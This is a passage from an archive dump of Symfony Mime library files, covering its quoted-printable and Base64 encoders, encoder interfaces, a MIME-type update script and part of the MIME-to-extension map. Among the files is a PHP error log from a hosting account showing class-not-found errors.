=> '=DD', 222 => '=DE', 223 => '=DF', 224 => '=E0', 225 => '=E1', 226 => '=E2', 227 => '=E3', 228 => '=E4', 229 => '=E5', 230 => '=E6', 231 => '=E7', 232 => '=E8', 233 => '=E9', 234 => '=EA', 235 => '=EB', 236 => '=EC', 237 => '=ED', 238 => '=EE', 239 => '=EF', 240 => '=F0', 241 => '=F1', 242 => '=F2', 243 => '=F3', 244 => '=F4', 245 => '=F5', 246 => '=F6', 247 => '=F7', 248 => '=F8', 249 => '=F9', 250 => '=FA', 251 => '=FB', 252 => '=FC', 253 => '=FD', 254 => '=FE', 255 => '=FF', ]; private static array $safeMapShare = []; /** * A map of non-encoded ascii characters. * * @var string[] * * @internal */ protected array $safeMap = []; public function __construct() { $id = static::class; if (!isset(self::$safeMapShare[$id])) { $this->initSafeMap(); self::$safeMapShare[$id] = $this->safeMap; } else { $this->safeMap = self::$safeMapShare[$id]; } } protected function initSafeMap(): void { foreach (array_merge([0x09, 0x20], range(0x21, 0x3C), range(0x3E, 0x7E)) as $byte) { $this->safeMap[$byte] = \chr($byte); } } /** * Takes an unencoded string and produces a QP encoded string from it. * * QP encoded strings have a maximum line length of 76 characters. * If the first line needs to be shorter, indicate the difference with * $firstLineOffset. */ public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string { if ($maxLineLength > 76 || $maxLineLength <= 0) { $maxLineLength = 76; } $thisLineLength = $maxLineLength - $firstLineOffset; $lines = []; $lNo = 0; $lines[$lNo] = ''; $currentLine = &$lines[$lNo++]; $size = $lineLen = 0; $charStream = new CharacterStream($string, $charset); // Fetching more than 4 chars at one is slower, as is fetching fewer bytes // Conveniently 4 chars is the UTF-8 safe number since UTF-8 has up to 6 // bytes per char and (6 * 4 * 3 = 72 chars per line) * =NN is 3 bytes while (null !== $bytes = $charStream->readBytes(4)) { $enc = $this->encodeByteSequence($bytes, $size); $i = strpos($enc, '=0D=0A'); $newLineLength = $lineLen + (false === $i ? $size : $i); if ($currentLine && $newLineLength >= $thisLineLength) { $lines[$lNo] = ''; $currentLine = &$lines[$lNo++]; $thisLineLength = $maxLineLength; $lineLen = 0; } $currentLine .= $enc; if (false === $i) { $lineLen += $size; } else { // 6 is the length of '=0D=0A'. $lineLen = $size - strrpos($enc, '=0D=0A') - 6; } } return $this->standardize(implode("=\r\n", $lines)); } /** * Encode the given byte array into a verbatim QP form. */ private function encodeByteSequence(array $bytes, int &$size): string { $ret = ''; $size = 0; foreach ($bytes as $b) { if (isset($this->safeMap[$b])) { $ret .= $this->safeMap[$b]; ++$size; } else { $ret .= self::QP_MAP[$b]; $size += 3; } } return $ret; } /** * Make sure CRLF is correct and HT/SPACE are in valid places. */ private function standardize(string $string): string { $string = str_replace(["\t=0D=0A", ' =0D=0A', '=0D=0A'], ["=09\r\n", "=20\r\n", "\r\n"], $string); return match ($end = \ord(substr($string, -1))) { 0x09, 0x20 => substr_replace($string, self::QP_MAP[$end], -1), default => $string, }; } } mime/Encoder/Base64ContentEncoder.php000064400000002457151113512060013445 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; use Symfony\Component\Mime\Exception\RuntimeException; /** * @author Fabien Potencier */ final class Base64ContentEncoder extends Base64Encoder implements ContentEncoderInterface { public function encodeByteStream($stream, int $maxLineLength = 0): iterable { if (!\is_resource($stream)) { throw new \TypeError(sprintf('Method "%s" takes a stream as a first argument.', __METHOD__)); } $filter = stream_filter_append($stream, 'convert.base64-encode', \STREAM_FILTER_READ, [ 'line-length' => 0 >= $maxLineLength || 76 < $maxLineLength ? 76 : $maxLineLength, 'line-break-chars' => "\r\n", ]); if (!\is_resource($filter)) { throw new RuntimeException('Unable to set the base64 content encoder to the filter.'); } while (!feof($stream)) { yield fread($stream, 16372); } stream_filter_remove($filter); } public function getName(): string { return 'base64'; } } mime/Encoder/Base64Encoder.php000064400000002401151113512060012077 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Chris Corbyn */ class Base64Encoder implements EncoderInterface { /** * Takes an unencoded string and produces a Base64 encoded string from it. * * Base64 encoded strings have a maximum line length of 76 characters. * If the first line needs to be shorter, indicate the difference with * $firstLineOffset. */ public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string { if (0 >= $maxLineLength || 76 < $maxLineLength) { $maxLineLength = 76; } $encodedString = base64_encode($string); $firstLine = ''; if (0 !== $firstLineOffset) { $firstLine = substr($encodedString, 0, $maxLineLength - $firstLineOffset)."\r\n"; $encodedString = substr($encodedString, $maxLineLength - $firstLineOffset); } return $firstLine.trim(chunk_split($encodedString, $maxLineLength, "\r\n")); } } mime/Encoder/error_log000064400000015113151113512060010763 0ustar00[25-Nov-2025 02:29:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Encoder\Base64Encoder" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64MimeHeaderEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64MimeHeaderEncoder.php on line 17 [25-Nov-2025 02:29:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\EncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Rfc2231Encoder.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Rfc2231Encoder.php on line 19 [25-Nov-2025 02:31:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\ContentEncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/EightBitContentEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/EightBitContentEncoder.php on line 17 [25-Nov-2025 02:59:24 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\ContentEncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpContentEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpContentEncoder.php on line 17 [25-Nov-2025 03:24:24 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\AddressEncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/IdnAddressEncoder.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/IdnAddressEncoder.php on line 25 [25-Nov-2025 03:30:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\EncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/ContentEncoderInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/ContentEncoderInterface.php on line 17 [25-Nov-2025 03:31:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\EncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64Encoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64Encoder.php on line 17 [25-Nov-2025 04:29:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Encoder\Base64Encoder" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64ContentEncoder.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64ContentEncoder.php on line 19 [25-Nov-2025 04:30:46 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\EncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpEncoder.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpEncoder.php on line 19 [25-Nov-2025 05:30:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Encoder\QpEncoder" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpMimeHeaderEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpMimeHeaderEncoder.php on line 17 [25-Nov-2025 23:08:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\AddressEncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/IdnAddressEncoder.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/IdnAddressEncoder.php on line 25 [25-Nov-2025 23:10:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\EncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/ContentEncoderInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/ContentEncoderInterface.php on line 17 [26-Nov-2025 01:30:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\EncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpEncoder.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpEncoder.php on line 19 [26-Nov-2025 01:34:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\EncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Rfc2231Encoder.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Rfc2231Encoder.php on line 19 [26-Nov-2025 02:02:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Encoder\QpEncoder" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpMimeHeaderEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpMimeHeaderEncoder.php on line 17 [26-Nov-2025 02:03:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\ContentEncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/EightBitContentEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/EightBitContentEncoder.php on line 17 [26-Nov-2025 02:05:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Encoder\Base64Encoder" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64MimeHeaderEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64MimeHeaderEncoder.php on line 17 [26-Nov-2025 03:32:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Encoder\ContentEncoderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpContentEncoder.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/QpContentEncoder.php on line 17 [26-Nov-2025 03:35:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Encoder\Base64Encoder" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64ContentEncoder.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Encoder/Base64ContentEncoder.php on line 19 mime/Encoder/ContentEncoderInterface.php000064400000001234151113512070014312 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Chris Corbyn */ interface ContentEncoderInterface extends EncoderInterface { /** * Encodes the stream to a Generator. * * @param resource $stream */ public function encodeByteStream($stream, int $maxLineLength = 0): iterable; /** * Gets the MIME name of this content encoding scheme. */ public function getName(): string; } mime/Encoder/QpContentEncoder.php000064400000003302151113512070012770 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Lars Strojny */ final class QpContentEncoder implements ContentEncoderInterface { public function encodeByteStream($stream, int $maxLineLength = 0): iterable { if (!\is_resource($stream)) { throw new \TypeError(sprintf('Method "%s" takes a stream as a first argument.', __METHOD__)); } // we don't use PHP stream filters here as the content should be small enough yield $this->encodeString(stream_get_contents($stream), 'utf-8', 0, $maxLineLength); } public function getName(): string { return 'quoted-printable'; } public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string { return $this->standardize(quoted_printable_encode($string)); } /** * Make sure CRLF is correct and HT/SPACE are in valid places. */ private function standardize(string $string): string { // transform CR or LF to CRLF $string = preg_replace('~=0D(?!=0A)|(? substr_replace($string, '=09', -1), 0x20 => substr_replace($string, '=20', -1), default => $string, }; } } mime/Encoder/IdnAddressEncoder.php000064400000002434151113512070013102 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * An IDN email address encoder. * * Encodes the domain part of an address using IDN. This is compatible will all * SMTP servers. * * Note: It leaves the local part as is. In case there are non-ASCII characters * in the local part then it depends on the SMTP Server if this is supported. * * @author Christian Schmidt */ final class IdnAddressEncoder implements AddressEncoderInterface { /** * Encodes the domain part of an address using IDN. */ public function encodeString(string $address): string { $i = strrpos($address, '@'); if (false !== $i) { $local = substr($address, 0, $i); $domain = substr($address, $i + 1); if (preg_match('/[^\x00-\x7F]/', $domain)) { $address = sprintf('%s@%s', $local, idn_to_ascii($domain, \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI | \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46)); } } return $address; } } mime/Encoder/AddressEncoderInterface.php000064400000001261151113512070014265 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; use Symfony\Component\Mime\Exception\AddressEncoderException; /** * @author Christian Schmidt */ interface AddressEncoderInterface { /** * Encodes an email address. * * @throws AddressEncoderException if the email cannot be represented in * the encoding implemented by this class */ public function encodeString(string $address): string; } mime/Encoder/EncoderInterface.php000064400000001315151113512070012757 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Chris Corbyn */ interface EncoderInterface { /** * Encode a given string to produce an encoded string. * * @param int $firstLineOffset if first line needs to be shorter * @param int $maxLineLength - 0 indicates the default length for this encoding */ public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string; } mime/Resources/bin/update_mime_types.php000064400000011411151113512070014435 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if ('cli' !== \PHP_SAPI) { throw new Exception('This script must be run from the command line.'); } // load new map $data = json_decode(file_get_contents('https://cdn.jsdelivr.net/gh/jshttp/mime-db@v1.49.0/db.json'), true); $new = []; foreach ($data as $mimeType => $mimeTypeInformation) { if (!array_key_exists('extensions', $mimeTypeInformation)) { continue; } $new[$mimeType] = $mimeTypeInformation['extensions']; } $xml = simplexml_load_string(file_get_contents('https://gitlab.freedesktop.org/xdg/shared-mime-info/-/raw/master/data/freedesktop.org.xml.in')); foreach ($xml as $node) { $exts = []; foreach ($node->glob as $glob) { $pattern = (string) $glob['pattern']; if ('*' != $pattern[0] || '.' != $pattern[1]) { continue; } $exts[] = substr($pattern, 2); } if (!$exts) { continue; } $mt = strtolower((string) $node['type']); $new[$mt] = array_merge($new[$mt] ?? [], $exts); foreach ($node->alias as $alias) { $mt = strtolower((string) $alias['type']); $new[$mt] = array_merge($new[$mt] ?? [], $exts); } } // load current map $data = file_get_contents($output = __DIR__.'/../../MimeTypes.php'); $current = []; $pre = ''; $post = ''; foreach (explode("\n", $data) as $line) { if (!preg_match("{^ '([^']+/[^']+)' => \['(.+)'\],$}", $line, $matches)) { if (!$current) { $pre .= $line."\n"; } else { $post .= $line."\n"; } continue; } $current[$matches[1]] = explode("', '", $matches[2]); } $data = $pre; // reverse map // we prefill the extensions with some preferences for content-types $exts = [ 'asice' => ['application/vnd.etsi.asic-e+zip'], 'bz2' => ['application/x-bz2'], 'csv' => ['text/csv'], 'ecma' => ['application/ecmascript'], 'flv' => ['video/x-flv'], 'gif' => ['image/gif'], 'gz' => ['application/x-gzip'], 'htm' => ['text/html'], 'html' => ['text/html'], 'jar' => ['application/x-java-archive'], 'jpg' => ['image/jpeg'], 'js' => ['text/javascript'], 'keynote' => ['application/vnd.apple.keynote'], 'key' => ['application/vnd.apple.keynote'], 'm3u' => ['audio/x-mpegurl'], 'm4a' => ['audio/mp4'], 'md' => ['text/markdown', 'text/x-markdown'], 'mdb' => ['application/x-msaccess'], 'mid' => ['audio/midi'], 'mov' => ['video/quicktime'], 'mp3' => ['audio/mpeg'], 'ogg' => ['audio/ogg'], 'pdf' => ['application/pdf'], 'php' => ['application/x-php'], 'ppt' => ['application/vnd.ms-powerpoint'], 'rar' => ['application/x-rar-compressed'], 'hqx' => ['application/stuffit'], 'sit' => ['application/x-stuffit', 'application/stuffit'], 'svg' => ['image/svg+xml'], 'tar' => ['application/x-tar'], 'tif' => ['image/tiff'], 'ttf' => ['application/x-font-truetype'], 'vcf' => ['text/x-vcard'], 'wav' => ['audio/wav'], 'wma' => ['audio/x-ms-wma'], 'wmv' => ['audio/x-ms-wmv'], 'xls' => ['application/vnd.ms-excel'], 'zip' => ['application/zip'], ]; // we merge the 2 maps (we never remove old mime types) $map = array_replace_recursive($current, $new); foreach ($exts as $ext => $types) { foreach ($types as $mt) { if (!isset($map[$mt])) { $map += [$mt => [$ext]]; } } } ksort($map); foreach ($map as $mimeType => $extensions) { foreach ($exts as $ext => $types) { if (in_array($mimeType, $types, true)) { array_unshift($extensions, $ext); } } $data .= sprintf(" '%s' => ['%s'],\n", $mimeType, implode("', '", array_unique($extensions))); } $data .= $post; foreach ($map as $mimeType => $extensions) { foreach ($extensions as $extension) { if ('application/octet-stream' === $mimeType && 'bin' !== $extension) { continue; } $exts[$extension][] = $mimeType; } } ksort($exts); $updated = ''; $state = 0; foreach (explode("\n", $data) as $line) { if (!preg_match("{^ '([^'/]+)' => \['(.+)'\],$}", $line, $matches)) { if (1 === $state) { $state = 2; foreach ($exts as $ext => $mimeTypes) { $updated .= sprintf(" '%s' => ['%s'],\n", $ext, implode("', '", array_unique($mimeTypes))); } } $updated .= $line."\n"; continue; } $state = 1; } $updated = preg_replace('{Updated from upstream on .+?\.}', 'Updated from upstream on '.date('Y-m-d'), $updated, -1); file_put_contents($output, rtrim($updated, "\n")."\n"); echo "Done.\n"; mime/MimeTypes.php000064400000541041151113512070010121 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\LogicException; /** * Manages MIME types and file extensions. * * For MIME type guessing, you can register custom guessers * by calling the registerGuesser() method. * Custom guessers are always called before any default ones: * * $guesser = new MimeTypes(); * $guesser->registerGuesser(new MyCustomMimeTypeGuesser()); * * If you want to change the order of the default guessers, just re-register your * preferred one as a custom one. The last registered guesser is preferred over * previously registered ones. * * Re-registering a built-in guesser also allows you to configure it: * * $guesser = new MimeTypes(); * $guesser->registerGuesser(new FileinfoMimeTypeGuesser('/path/to/magic/file')); * * @author Fabien Potencier */ final class MimeTypes implements MimeTypesInterface { private array $extensions = []; private array $mimeTypes = []; /** * @var MimeTypeGuesserInterface[] */ private array $guessers = []; private static MimeTypes $default; public function __construct(array $map = []) { foreach ($map as $mimeType => $extensions) { $this->extensions[$mimeType] = $extensions; foreach ($extensions as $extension) { $this->mimeTypes[$extension][] = $mimeType; } } $this->registerGuesser(new FileBinaryMimeTypeGuesser()); $this->registerGuesser(new FileinfoMimeTypeGuesser()); } public static function setDefault(self $default): void { self::$default = $default; } public static function getDefault(): self { return self::$default ??= new self(); } /** * Registers a MIME type guesser. * * The last registered guesser has precedence over the other ones. */ public function registerGuesser(MimeTypeGuesserInterface $guesser): void { array_unshift($this->guessers, $guesser); } public function getExtensions(string $mimeType): array { if ($this->extensions) { $extensions = $this->extensions[$mimeType] ?? $this->extensions[$lcMimeType = strtolower($mimeType)] ?? null; } return $extensions ?? self::MAP[$mimeType] ?? self::MAP[$lcMimeType ?? strtolower($mimeType)] ?? []; } public function getMimeTypes(string $ext): array { if ($this->mimeTypes) { $mimeTypes = $this->mimeTypes[$ext] ?? $this->mimeTypes[$lcExt = strtolower($ext)] ?? null; } return $mimeTypes ?? self::REVERSE_MAP[$ext] ?? self::REVERSE_MAP[$lcExt ?? strtolower($ext)] ?? []; } public function isGuesserSupported(): bool { foreach ($this->guessers as $guesser) { if ($guesser->isGuesserSupported()) { return true; } } return false; } /** * The file is passed to each registered MIME type guesser in reverse order * of their registration (last registered is queried first). Once a guesser * returns a value that is not null, this method terminates and returns the * value. */ public function guessMimeType(string $path): ?string { foreach ($this->guessers as $guesser) { if (!$guesser->isGuesserSupported()) { continue; } if (null !== $mimeType = $guesser->guessMimeType($path)) { return $mimeType; } } if (!$this->isGuesserSupported()) { throw new LogicException('Unable to guess the MIME type as no guessers are available (have you enabled the php_fileinfo extension?).'); } return null; } /** * A map of MIME types and their default extensions. * * Updated from upstream on 2021-09-03 * * @see Resources/bin/update_mime_types.php */ private const MAP = [ 'application/acrobat' => ['pdf'], 'application/andrew-inset' => ['ez'], 'application/annodex' => ['anx'], 'application/applixware' => ['aw'], 'application/atom+xml' => ['atom'], 'application/atomcat+xml' => ['atomcat'], 'application/atomdeleted+xml' => ['atomdeleted'], 'application/atomsvc+xml' => ['atomsvc'], 'application/atsc-dwd+xml' => ['dwd'], 'application/atsc-held+xml' => ['held'], 'application/atsc-rsat+xml' => ['rsat'], 'application/bdoc' => ['bdoc'], 'application/bzip2' => ['bz2', 'bz'], 'application/calendar+xml' => ['xcs'], 'application/ccxml+xml' => ['ccxml'], 'application/cdfx+xml' => ['cdfx'], 'application/cdmi-capability' => ['cdmia'], 'application/cdmi-container' => ['cdmic'], 'application/cdmi-domain' => ['cdmid'], 'application/cdmi-object' => ['cdmio'], 'application/cdmi-queue' => ['cdmiq'], 'application/cdr' => ['cdr'], 'application/coreldraw' => ['cdr'], 'application/csv' => ['csv'], 'application/cu-seeme' => ['cu'], 'application/dash+xml' => ['mpd'], 'application/davmount+xml' => ['davmount'], 'application/dbase' => ['dbf'], 'application/dbf' => ['dbf'], 'application/dicom' => ['dcm'], 'application/docbook+xml' => ['dbk', 'docbook'], 'application/dssc+der' => ['dssc'], 'application/dssc+xml' => ['xdssc'], 'application/ecmascript' => ['ecma', 'es'], 'application/emf' => ['emf'], 'application/emma+xml' => ['emma'], 'application/emotionml+xml' => ['emotionml'], 'application/epub+zip' => ['epub'], 'application/exi' => ['exi'], 'application/fdt+xml' => ['fdt'], 'application/font-tdpfr' => ['pfr'], 'application/font-woff' => ['woff'], 'application/futuresplash' => ['swf', 'spl'], 'application/geo+json' => ['geojson', 'geo.json'], 'application/gml+xml' => ['gml'], 'application/gnunet-directory' => ['gnd'], 'application/gpx' => ['gpx'], 'application/gpx+xml' => ['gpx'], 'application/gxf' => ['gxf'], 'application/gzip' => ['gz'], 'application/hjson' => ['hjson'], 'application/hyperstudio' => ['stk'], 'application/ico' => ['ico'], 'application/ics' => ['vcs', 'ics'], 'application/illustrator' => ['ai'], 'application/inkml+xml' => ['ink', 'inkml'], 'application/ipfix' => ['ipfix'], 'application/its+xml' => ['its'], 'application/java' => ['class'], 'application/java-archive' => ['jar', 'war', 'ear'], 'application/java-byte-code' => ['class'], 'application/java-serialized-object' => ['ser'], 'application/java-vm' => ['class'], 'application/javascript' => ['js', 'mjs', 'jsm'], 'application/jrd+json' => ['jrd'], 'application/json' => ['json', 'map'], 'application/json-patch+json' => ['json-patch'], 'application/json5' => ['json5'], 'application/jsonml+json' => ['jsonml'], 'application/ld+json' => ['jsonld'], 'application/lgr+xml' => ['lgr'], 'application/lost+xml' => ['lostxml'], 'application/lotus123' => ['123', 'wk1', 'wk3', 'wk4', 'wks'], 'application/m3u' => ['m3u', 'm3u8', 'vlc'], 'application/mac-binhex40' => ['hqx'], 'application/mac-compactpro' => ['cpt'], 'application/mads+xml' => ['mads'], 'application/manifest+json' => ['webmanifest'], 'application/marc' => ['mrc'], 'application/marcxml+xml' => ['mrcx'], 'application/mathematica' => ['ma', 'nb', 'mb'], 'application/mathml+xml' => ['mathml', 'mml'], 'application/mbox' => ['mbox'], 'application/mdb' => ['mdb'], 'application/mediaservercontrol+xml' => ['mscml'], 'application/metalink+xml' => ['metalink'], 'application/metalink4+xml' => ['meta4'], 'application/mets+xml' => ['mets'], 'application/mmt-aei+xml' => ['maei'], 'application/mmt-usd+xml' => ['musd'], 'application/mods+xml' => ['mods'], 'application/mp21' => ['m21', 'mp21'], 'application/mp4' => ['mp4s', 'm4p'], 'application/mrb-consumer+xml' => ['xdf'], 'application/mrb-publish+xml' => ['xdf'], 'application/ms-tnef' => ['tnef', 'tnf'], 'application/msaccess' => ['mdb'], 'application/msexcel' => ['xls', 'xlc', 'xll', 'xlm', 'xlw', 'xla', 'xlt', 'xld'], 'application/mspowerpoint' => ['ppz', 'ppt', 'pps', 'pot'], 'application/msword' => ['doc', 'dot'], 'application/msword-template' => ['dot'], 'application/mxf' => ['mxf'], 'application/n-quads' => ['nq'], 'application/n-triples' => ['nt'], 'application/nappdf' => ['pdf'], 'application/node' => ['cjs'], 'application/octet-stream' => ['bin', 'dms', 'lrf', 'mar', 'so', 'dist', 'distz', 'pkg', 'bpk', 'dump', 'elc', 'deploy', 'exe', 'dll', 'deb', 'dmg', 'iso', 'img', 'msi', 'msp', 'msm', 'buffer'], 'application/oda' => ['oda'], 'application/oebps-package+xml' => ['opf'], 'application/ogg' => ['ogx'], 'application/omdoc+xml' => ['omdoc'], 'application/onenote' => ['onetoc', 'onetoc2', 'onetmp', 'onepkg'], 'application/ovf' => ['ova'], 'application/owl+xml' => ['owx'], 'application/oxps' => ['oxps'], 'application/p2p-overlay+xml' => ['relo'], 'application/patch-ops-error+xml' => ['xer'], 'application/pcap' => ['pcap', 'cap', 'dmp'], 'application/pdf' => ['pdf'], 'application/pgp' => ['pgp', 'gpg', 'asc'], 'application/pgp-encrypted' => ['pgp', 'gpg', 'asc'], 'application/pgp-keys' => ['skr', 'pkr', 'asc', 'pgp', 'gpg', 'key'], 'application/pgp-signature' => ['asc', 'sig', 'pgp', 'gpg'], 'application/photoshop' => ['psd'], 'application/pics-rules' => ['prf'], 'application/pkcs10' => ['p10'], 'application/pkcs12' => ['p12', 'pfx'], 'application/pkcs7-mime' => ['p7m', 'p7c'], 'application/pkcs7-signature' => ['p7s'], 'application/pkcs8' => ['p8'], 'application/pkcs8-encrypted' => ['p8e'], 'application/pkix-attr-cert' => ['ac'], 'application/pkix-cert' => ['cer'], 'application/pkix-crl' => ['crl'], 'application/pkix-pkipath' => ['pkipath'], 'application/pkixcmp' => ['pki'], 'application/pls' => ['pls'], 'application/pls+xml' => ['pls'], 'application/postscript' => ['ai', 'eps', 'ps'], 'application/powerpoint' => ['ppz', 'ppt', 'pps', 'pot'], 'application/provenance+xml' => ['provx'], 'application/prs.cww' => ['cww'], 'application/pskc+xml' => ['pskcxml'], 'application/ram' => ['ram'], 'application/raml+yaml' => ['raml'], 'application/rdf+xml' => ['rdf', 'owl', 'rdfs'], 'application/reginfo+xml' => ['rif'], 'application/relax-ng-compact-syntax' => ['rnc'], 'application/resource-lists+xml' => ['rl'], 'application/resource-lists-diff+xml' => ['rld'], 'application/rls-services+xml' => ['rs'], 'application/route-apd+xml' => ['rapd'], 'application/route-s-tsid+xml' => ['sls'], 'application/route-usd+xml' => ['rusd'], 'application/rpki-ghostbusters' => ['gbr'], 'application/rpki-manifest' => ['mft'], 'application/rpki-roa' => ['roa'], 'application/rsd+xml' => ['rsd'], 'application/rss+xml' => ['rss'], 'application/rtf' => ['rtf'], 'application/sbml+xml' => ['sbml'], 'application/schema+json' => ['json'], 'application/scvp-cv-request' => ['scq'], 'application/scvp-cv-response' => ['scs'], 'application/scvp-vp-request' => ['spq'], 'application/scvp-vp-response' => ['spp'], 'application/sdp' => ['sdp'], 'application/senml+xml' => ['senmlx'], 'application/sensml+xml' => ['sensmlx'], 'application/set-payment-initiation' => ['setpay'], 'application/set-registration-initiation' => ['setreg'], 'application/shf+xml' => ['shf'], 'application/sieve' => ['siv', 'sieve'], 'application/smil' => ['smil', 'smi', 'sml', 'kino'], 'application/smil+xml' => ['smi', 'smil', 'sml', 'kino'], 'application/sparql-query' => ['rq'], 'application/sparql-results+xml' => ['srx'], 'application/sql' => ['sql'], 'application/srgs' => ['gram'], 'application/srgs+xml' => ['grxml'], 'application/sru+xml' => ['sru'], 'application/ssdl+xml' => ['ssdl'], 'application/ssml+xml' => ['ssml'], 'application/stuffit' => ['sit', 'hqx'], 'application/swid+xml' => ['swidtag'], 'application/tei+xml' => ['tei', 'teicorpus'], 'application/tga' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'application/thraud+xml' => ['tfi'], 'application/timestamped-data' => ['tsd'], 'application/toml' => ['toml'], 'application/trig' => ['trig'], 'application/ttml+xml' => ['ttml'], 'application/ubjson' => ['ubj'], 'application/urc-ressheet+xml' => ['rsheet'], 